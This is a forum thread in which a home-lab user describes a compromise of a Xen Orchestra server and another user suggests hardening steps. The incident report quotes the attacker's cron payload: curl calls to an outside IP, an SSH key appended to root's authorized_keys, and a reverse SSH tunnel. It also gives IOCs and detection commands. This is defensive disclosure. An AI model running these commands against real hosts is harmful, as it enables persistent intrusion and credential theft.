@vmpr said:
Hi, I got hit through this one last night. Small home lab pool, XO from sources (xo-server 5.213.0). It was reachable from the internet behind a reverse proxy because a friend has a VM on my server and wanted to start and stop it himself. Yes, that was dumb. It's VPN only from now on, the way it should have been.
None of the names, files or IPs from the advisory matched. A check for pivot2 / ustar alone would have shown me clean. Here is what I found instead.
What they did, all within about 50 minutes
GET /rest/v0/vms?limit=1 answered 200 without any login, followed by /rest/v0/users/me (307) and the user list. Later rounds showed a 401 and then a 200 in the same second, but the first one was a plain 200. My proxy doesn't log cookies. What I grep for is any 2xx on /rest/v0 from an IP that isn't mine.
POST /rest/v0/users/<admin id>/authentication_tokens, two tokens with the description system-maintenance and 24 h expiry.
xo.exportConfig over the websocket, twice with entries ["xenServers"] and later the full config, no passphrase. In the proxy log this is GET /api/<random>/XO-config_<timestamp>.json.
VM import via POST /rest/v0/pools/<id>/vms?sr=<local SR>. VM name svc-<6 digits>, 256 MiB, one 2 MiB disk, no VIF, platform hvm_serial = file:/etc/cron.d/svc-<same digits>. Started right away and was halted again a few seconds later. The disk has one non-zero sector, a boot sector that prints the cron line to the serial port and halts.
That cron file ran once as root on the host:
curl http://13.140.168.109:8931/port?h=<hostname>
curl http://13.140.168.109:8931/tk (an ssh key)
append an ed25519 key with the comment nx-campaign to /root/.ssh/authorized_keys
ssh -f -N -R <port>:localhost:22 hermes1@13.140.168.109
delete the cron file
Both curls timed out for me and no tunnel came up, but the key was in authorized_keys. They only failed because my firewall lets the hosts out on 80/443 only. With open egress the tunnel would have worked. The job left /root/dead.letter with its errors on the host.
IOCs
185.213.154.220 REST calls and config export (Chrome 131 UA, python-requests/2.3
13.140.168.109 VM import and start via REST (python-requests/2.32.5), port 8931, ssh user hermes1
VM name svc-<digits> and /etc/cron.d/svc-<digits>
authorized_keys comment nx-campaign
XO token description system-maintenance
/root/dead.letter on the host
Quick checks on the hosts
grep nx-campaign /root/.ssh/authorized_keys
ls -la /root/dead.letter /etc/cron.d/
zgrep svc- /var/log/cron*
zgrep -- '-serial file:' /var/log/xensource.log*
The last one is from the advisory and did match.
On the XO machine the journal does show a bit after all:
journalctl -u xo-server | grep 'unauthenticated API call'
journalctl -u xo-server | grep 'use session.signIn() instead'
journalctl -u xo-server | grep 'putResource /import/'
The first also shows up for my own expired sessions, compare the times. The other me of the attack, nothing else in five months of journal.
audit.log shows no export or snapshot from the attacker on the xapi side, only my nightly backup. But the config export has the host root passwords and plugin secrets in clear text, so I rotate everything.
Phew, that was quite a shock. I only read about the Vates advisory by chance in my news reader this morning. I sent my AI off to check if my setup was affected, and it found out that I had already been compromised.
@vmpr Popping it behind an instance of BunkerWeb (https://www.bunkerweb.io/) or similar, with Xen Orchestra on a new IP address would help. As BunkerWeb is what’s known as a Web Application Firewall.
It will help to protect your instance of Xen Orchestra, especially if you change the IP address of the appliance, and only give that friend the one that goes through BunkerWeb. As always don’t expose Xen Orchestra to the Internet, but if it’s absolutely necessary always use something like BunkerWeb and only provide the BunkerWeb based IP address!
Also run a check on all of your hosts and may be best to roll them a fresh (in case there’s an Advanced Persistent Threat). As well as a fresh instance of Xen Orchestra, and maybe encourage your friend while also doing yourself to start using hardware security keys, preferably ones that support biometrics and PINs. Alternatively other secure enclaves with cryptographic credentials held there.
Additionally opt into the new encrypted datastore for Xen Orchestra on the new fresh Xen Orchestra and XCP-ng. Also make sure it’s completely up to date!
Also if the hosts support it ensure that Intel TME or similar is enabled on the fresh installs of XCP-ng.
Finally rotate all passwords associated with that system, including your Vates account password, especially if it’s linked to the Xen Orchestra instance hit.
